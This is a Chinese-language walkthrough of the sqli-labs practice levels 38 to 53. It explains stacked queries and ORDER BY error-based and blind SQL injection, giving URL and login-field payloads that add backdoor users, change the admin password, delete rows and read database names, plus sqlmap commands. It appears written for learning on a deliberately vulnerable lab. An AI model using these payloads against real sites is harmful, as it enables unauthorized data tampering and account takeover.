目录
- Less-38:堆叠注入初探(单引号闭合)
- Less-39:数字型堆叠注入
- [Less-40:单引号 + 括号堆叠注入](#Less-40:单引号 + 括号堆叠注入)
- Less-41:数字型堆叠注入(无报错)
- [Less-42:POST 堆叠注入(单引号闭合)](#Less-42:POST 堆叠注入(单引号闭合))
- [Less-43:POST 堆叠注入(单引号 + 括号)](#Less-43:POST 堆叠注入(单引号 + 括号))
- [Less-44:POST 堆叠注入(单引号闭合)](#Less-44:POST 堆叠注入(单引号闭合))
- [Less-45:POST 堆叠注入(单引号 + 括号)](#Less-45:POST 堆叠注入(单引号 + 括号))
- [Less-46:ORDER BY 报错注入](#Less-46:ORDER BY 报错注入)
- [Less-47:ORDER BY 单引号报错注入](#Less-47:ORDER BY 单引号报错注入)
- [Less-48:ORDER BY 布尔/时间盲注](#Less-48:ORDER BY 布尔/时间盲注)
- [Less-49:ORDER BY 单引号盲注](#Less-49:ORDER BY 单引号盲注)
- [Less-50:ORDER BY 数字型堆叠注入](#Less-50:ORDER BY 数字型堆叠注入)
- [Less-51:ORDER BY 单引号堆叠注入](#Less-51:ORDER BY 单引号堆叠注入)
- [Less-52:ORDER BY 数字型盲注堆叠](#Less-52:ORDER BY 数字型盲注堆叠)
- [Less-53:ORDER BY 单引号堆叠注入](#Less-53:ORDER BY 单引号堆叠注入)
Less-38:堆叠注入初探(单引号闭合)
这一关的本质在于后端代码从 mysql_query() 升级到了 mysqli_multi_query()。
- 普通注入 (Union):像一条直线,你只能在原本的查询语句后面拼接内容。
- 堆叠注入 (Stacked):像一串鞭炮,通过分号 ; 将多条独立的 SQL 语句连接在一起执行。
测闭合:
?id=1'
报错。
?id=1'--+
正常。
执行插入:
?id=1'; INSERT INTO users(id,username,password) VALUES (777,'test','test')--+
检查数据库: 刷新页面,访问 ?id=777。
- 如果出来了 test:说明堆叠注入没问题。
常规 Union 查询:
?id=-1' union select 1,database(),version()--+
插入新用户:
?id=1' ; insert into users(id,username,password) values(38,'hacker','123456')--+
用 ?id=38 访问,或者直接去数据库查看,会发现多了一个名为 hacker 的用户。
Less-39:数字型堆叠注入
判断类型:
- 输入 ?id=1' 报错,输入 ?id=1 正常。
- 输入 ?id=1 and 1=2 页面无数据,说明是数字型注入。
堆叠操作:
?id=1;insert into users(id,username,password) values(39,'new_user','password')--+
?id=1;update users set password='hacked' where username='admin'--+
?id=1;delete from users where id=39--+
Less-40:单引号 + 括号堆叠注入
寻找闭合点:
-
输入 ?id=1':页面正常显示(说明后端可能屏蔽了错误,或者单引号被包裹了)。
-
输入 ?id=1') --+:页面正常显示。
-
输入 ?id=1') and 1=2 --+:页面不显示数据。
-
结论:闭合方式是 ')(单引号 + 右括号)。
?id=-1') union select 1,database(),version()--+
掌握了 ') 这个闭合点,剩下的操作和之前完全一样。
Less-41:数字型堆叠注入(无报错)
判断类型:
-
输入 ?id=1':页面显示正常或无数据,但不报 SQL 语法错误。
-
输入 ?id=1 and 1=2:页面数据消失。
-
结论:数字型注入,且后端关闭了报错输出。
?id=1; update users set password='newpassword' where id=1--+
明明 insert 能成功(说明堆叠注入逻辑没问题),为什么 sleep 却不产生延时?
这通常不是你的 Payload 有问题,而是由 PHP 的 mysqli_multi_query() 函数特性 和 后端处理逻辑 共同导致的。
核心原因:PHP 脚本"提前收工"了
在 sqli-labs 的后端代码中,处理堆叠注入通常流程如下:
- PHP 调用 mysqli_multi_query() 把你那串 ; 分隔的语句全发给 MySQL。
- MySQL 收到后开始执行。第一条是 SELECT(查询 ID 为 1 的数据),第二条是 SELECT sleep(5)。
- 关键点: mysqli_multi_query() 执行后,PHP 默认只会去取 第一条语句 的执行结果。
如果后端代码逻辑是这样的:
- 执行多条语句 → 获取第一条结果 → 立刻把结果显示在页面上并结束脚本。
- 此时,MySQL 数据库后台可能确实还在老老实实地"睡觉",但 PHP 已经把页面发回给你的浏览器了。
结果就是: 你在网页上秒看到了内容,而数据库在后台默默地睡够了 5 秒才解脱,但这个延迟已经无法反馈到网页的加载时间上了。
堆叠注入的"隐身"特性
你遇到的现象正好证明了 堆叠注入(Stacked Injections) 的一个重要特性:后续语句的执行往往是"异步"或"静默"的。
- 增/删/改:由于不需要回显,即便后端脚本结束了,数据库依然会完成任务。
- 查(Select/Sleep):由于后端只认第一条结果,后续的查询结果(包括 sleep 导致的延迟)往往会被"丢弃"或"忽略"。
这就解释了为什么: 你的堆叠注入确实可用(insert 成功),但 sleep 看起来像失效了一样。
Less-42:POST 堆叠注入(单引号闭合)
绕过登录(万能密码): 如果只是想进去,可以使用 admin' or 1=1 #
堆叠注入:添加新管理员
-
Username: admin (或者任意字符)
-
Password:
c' ; insert into users(id,username,password) values(42,'post_admin','123456')#
逻辑:闭合掉密码部分的单引号,分号结束查询,插入新数据,# 注释掉后端剩余的内容。
堆叠注入:删除数据
-
Username: admin
-
Password:
c' ; delete from users where username='new_user'#
Less-43:POST 堆叠注入(单引号 + 括号)
- 用户名输入 admin,密码输入 1'。如果没有报错或者报错信息显示有括号,就要怀疑括号闭合。
- 尝试密码输入 1') #。如果页面返回正常(或提示登录失败但语法不报错),说明闭合成功。
依然建议在 Password(密码框) 进行注入,因为用户名框通常会被加上更多的过滤或限制。
A. 堆叠注入:创建"后门"用户
在密码框输入:
c') ; insert into users(id,username,password) values(43,'less43','pass')#
执行后,尝试用用户名 less43 和密码 pass 登录。
B. 堆叠注入:修改管理员密码
在密码框输入:
admin') ; update users set password='123' where username='admin'#
C. 堆叠注入:联动报错(如果需要查数据)
虽然这关重点是堆叠,但如果你想快速看数据库名:
c') or updatexml(1,concat(0x7e,database()),1)#
Less-44:POST 堆叠注入(单引号闭合)
-
输入正常账号:admin / admin → 登录成功(看到图片或 Welcome)。
-
测试数字型:
- Password: admin'# → 登录失败。
- Password: admin# → 如果登录成功,说明是数字型。为什么?因为后端语句变成了 WHERE password=admin#,后面的验证被注释了,直接以 admin 身份登录。
-
测试单引号型:
- Password: 1' or 1=1# → 如果登录成功,说明是单引号闭合。
44 关实战结论:经过测试,你会发现输入 admin'# 或 1' or 1=1# 都能成功。这说明 44 关是 单引号字符型注入。
密码框:
1'; insert into users(id,username,password) values(444, 'asdfg', '123')#
asdfg / 123 登录成功。
Less-45:POST 堆叠注入(单引号 + 括号)
由于没有报错,我们还是得用"逻辑测试":
- Password: admin'# → 失败。
- Password: admin')# → 登录成功。
- 结论:闭合方式是 ')(单引号 + 右括号)。
A. 堆叠注入:修改管理员密码
为了验证你的闭合是否正确,可以尝试把 admin 的密码改掉:
c') ; update users set password='666' where username='admin'#
验证:尝试用 admin / 666 登录。如果成功,说明闭合 ') 完全正确。
B. 堆叠注入:插入新用户
这是最稳妥的练习方式:
c') ; insert into users(id,username,password) values(45,'stacked45','pass')#
验证:用新账号 stacked45 登录。
Less-46:ORDER BY 报错注入
- 注入位置:URL 参数 ?sort=1。
- 核心逻辑:后端 SQL 语句类似于 SELECT * FROM users ORDER BY $sort。
- 挑战点:在 ORDER BY 后面,你不能直接使用 UNION SELECT(因为语法不匹配)。你需要利用 报错注入 或 时间盲注 来获取信息。
在 ORDER BY 注入中,通常有三种主要的探测方式:
-
报错注入:利用 updatexml() 或 extractvalue() 函数。如果页面能回显错误信息,这是最快的方法。
-
基于列数的注入:通过修改 sort 的值(如 1, 2, 3),观察页面按照哪一列排序。
-
盲注(布尔/时间):如果页面不报错,可以利用 rand() 函数或 if() 配合 sleep() 进行判断。
?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
如果页面不报错,可以使用时间盲注:
?sort=1 and (if(ascii(substr(database(),1,1))>100,sleep(5),1))
如果数据库名的第一个字符 ASCII 码大于 100,则延迟 5 秒。
观察结构:
- ?sort=1(按 ID 排序)
- ?sort=2(按 Username 排序)
- ?sort=3(按 Password 排序)
这能帮你确认当前表有几列,以及 sort 参数是如何影响页面的。
核心原理:SQL 语句的结构化顺序
当你访问 ?sort=1 时,后台执行的 SQL 逻辑大致如下:
SELECT id, username, password FROM users ORDER BY 1;
在这里,数字 1 并不是指"数值 1",而是指 "结果集中的第 1 列"。
-
ORDER BY 1:告诉数据库,请按照你查出来的第一个字段(即 id)进行升序排列。
-
ORDER BY 2:按照第二个字段(即 username)排列。
-
ORDER BY 3:按照第三个字段(即 password)排列。
-
确定字段总数:如果你输入 ?sort=3 页面正常,输入 ?sort=4 页面报错或显示异常,你就知道这个表只有 3 列。这和我们在 UNION 注入里用 order by 探测字段数是一个道理。
-
确认注入点类型:如果 ?sort=1 desc(降序)和 ?sort=1 asc(升序)导致页面内容完全反转,说明该参数确实被拼接进了 ORDER BY 位置,而不是被当成了 WHERE 条件。
?sort=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)
这种注入方式的本质是:利用数据库在执行排序指令前的"前置计算"阶段。
数据库想:"我要按照 1 AND [一个函数] 的结果来排序。" 为了算出这个结果,它必须先执行那个函数。函数一执行就报错,报错信息就被甩到了前端页面上。
Less-47:ORDER BY 单引号报错注入
-
注入位置:URL 参数 ?sort=1。
-
后端 SQL 结构:SELECT * FROM users ORDER BY '$sort'。
-
?sort=1' → 页面报错。
?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
?sort=1' and (if(ascii(substr(database(),1,1))>100,sleep(5),1))--+ (盲注情况下)
Less-48:ORDER BY 布尔/时间盲注
- 注入位置:URL 参数 ?sort=1。
- 注入类型:数字型(没有单引号包裹)。
- 挑战点:无回显、无报错。
- 核心逻辑:只能通过页面内容的变化(布尔盲注)或加载时间的差异(时间盲注)来提取数据。
A. 布尔盲注(基于 Rand 函数)
rand() 函数可以生成随机数。如果给它一个布尔表达式作为种子,排序结果就会发生变化。
Payload:
?sort=rand(ascii(left(database(),1))>100)
原理:
- 如果数据库名第一位的 ASCII 码 > 100(真),rand(1) 会产生固定的排序序列。
- 如果假,rand(0) 会产生另一套排序序列。
- 通过对比页面第一行数据的变化,就能像玩"二选一"游戏一样猜出数据。
B. 时间盲注(基于 Sleep 函数)- 最推荐
这是最直观的方法。既然看不见报错,就让数据库"卡一下"。
Payload:
?sort=1 and (if(ascii(substr(database(),1,1))>100,sleep(5),1))
原理:
- 如果判断为真,页面加载会明显延迟 5 秒。
- 如果判断为假,页面秒回。
sqlmap:
python sqlmap.py -u "/Less-48/?sort=1" --technique B --dbms mysql --level 3 --risk 3 --batch --current-db
Less-49:ORDER BY 单引号盲注
- 注入位置:URL 参数 ?sort=1。
- 注入类型:字符型(带单引号 ')。
- 挑战点:无报错、无回显。
- 核心逻辑:你需要先闭合单引号,然后再进行盲注。
在不使用工具的情况下,你需要通过页面的排序变化来盲测闭合字符:
- 访问 ?sort=1' --+ → 页面排序异常(或恢复默认)。
- 访问 ?sort=1' and (if(1=1,sleep(2),1)) --+ → 观察是否有延迟。
为什么会 500 报错?(爆炸级延迟)
在 WHERE 子句中,sleep(2) 通常只执行一次。但在 ORDER BY 子句中,情况完全不同:
-
逐行执行:当你写 ORDER BY 1' and sleep(2)--+ 时,数据库在对结果集进行排序。为了确定每一行的顺序,它会对每一行数据都执行一次后面的 sleep(2)。
-
累积效应:如果你的 users 表里有 15 行数据,那么总延迟就是 秒。
-
超时崩溃:
- PHP 超时:PHP 脚本默认执行时间通常是 30 秒。如果数据库"睡"了 30 秒还没返回,PHP 就会直接强行断开连接,报 500 错误。
- Apache/Nginx 超时:Web 服务器等不及数据库的响应,也会直接抛出 500。
避免超时的 Payload:
?sort=1' and (if(ascii(substr(database(),1,1))>100, 1, (select 1 from information_schema.tables)))--+
sqlmap:
python sqlmap.py -u "/Less-49/?sort=1" --technique B --dbms mysql --level 3 --risk 3 --batch
Less-50:ORDER BY 数字型堆叠注入
-
注入位置:?sort=1。
-
注入类型:数字型。
-
核心变化:后端改用了 mysqli_multi_query() 函数。
-
这意味着:你不需要再苦哈哈地去猜 sleep 几秒或者看排序变化了。既然能堆叠,我们直接在分号 ; 后面下达指令。
?sort=1; insert into users(id,username,password) values(50,'hacker50','pwned')--+
方法 A:刷新页面观察法(最简单)
我们可以插入一条 ID 很大的数据,然后按 ID 降序排列,看看它会不会出现在表格的第一行。
-
执行注入(插入数据):在 URL 输入:
?sort=1;insert into users(id,username,password) values(99,"zxc","pass123")--+ -
验证结果:修改 URL 为按 ID 降序排列:?sort=1 desc
观察:如果表格第一行出现了 id: 99, username: Gemini_Test,说明注入成功了!
方法 B:使用数据库工具(最直观)
如果你是本地环境(如 phpStudy),直接打开 phpMyAdmin 或 Navicat。
- 刷新 security 数据库下的 users 表。
- 看有没有多出你刚才插入的那一行。
删数据:
?sort=1;delete from users where id=99;--+
Less-51:ORDER BY 单引号堆叠注入
-
?sort=1 → 正常排序。
-
?sort=1' → 报错。你会看到类似于 ...near ''1''' 的错误。
-
?sort=1'--+ → 恢复正常排序。
-
结论:这是一个单引号字符型注入点,且支持报错。
?sort=1'; insert into users(id,username,password) values(51,'Less51','pwned')--+
既然支持堆叠,我们利用 ; 执行第二条指令。注意,因为是字符型,你必须先用 ' 闭合左边,再用 --+ 注释掉右边。
Payload:
?sort=1'; insert into users(id,username,password) values(51,'Less51','pwned')--+
第三步:验证结果
由于没有登录页面,我们依然采用"降序观察法":在浏览器访问 ?sort=id desc(或者 ?sort=1 desc)
观察:看表格的第一行是否出现了 id: 51, username: Less51
Less-52:ORDER BY 数字型盲注堆叠
注入位置:?sort=1
虽然不报错,但你可以通过排序变化来确认:
-
?sort=1 desc → 正常降序。
-
?sort=1 and sleep(2) → 如果转圈了,说明是数字型且存在注入点。
?sort=1; insert into users(id,username,password) values(52,'Less52_Blind','secret')--+
- 刷新页面,输入:?sort=id desc。
- 观察:看表格第一行是否出现了 id: 52, username: Less52_Blind。
Less-53:ORDER BY 单引号堆叠注入
-
输入 ?sort=1' → 页面数据消失或排序错乱(说明 ' 破坏了 SQL)。
-
输入 ?sort=1' --+ → 页面恢复正常排序。
-
结论:这是单引号字符型注入。
?sort=1'; insert into users(id,username,password) values(53,'Less53_Final','done')--+
-
?sort=id desc。
-
观察:如果表格第一行跳出了 id: 53, username: Less53_Final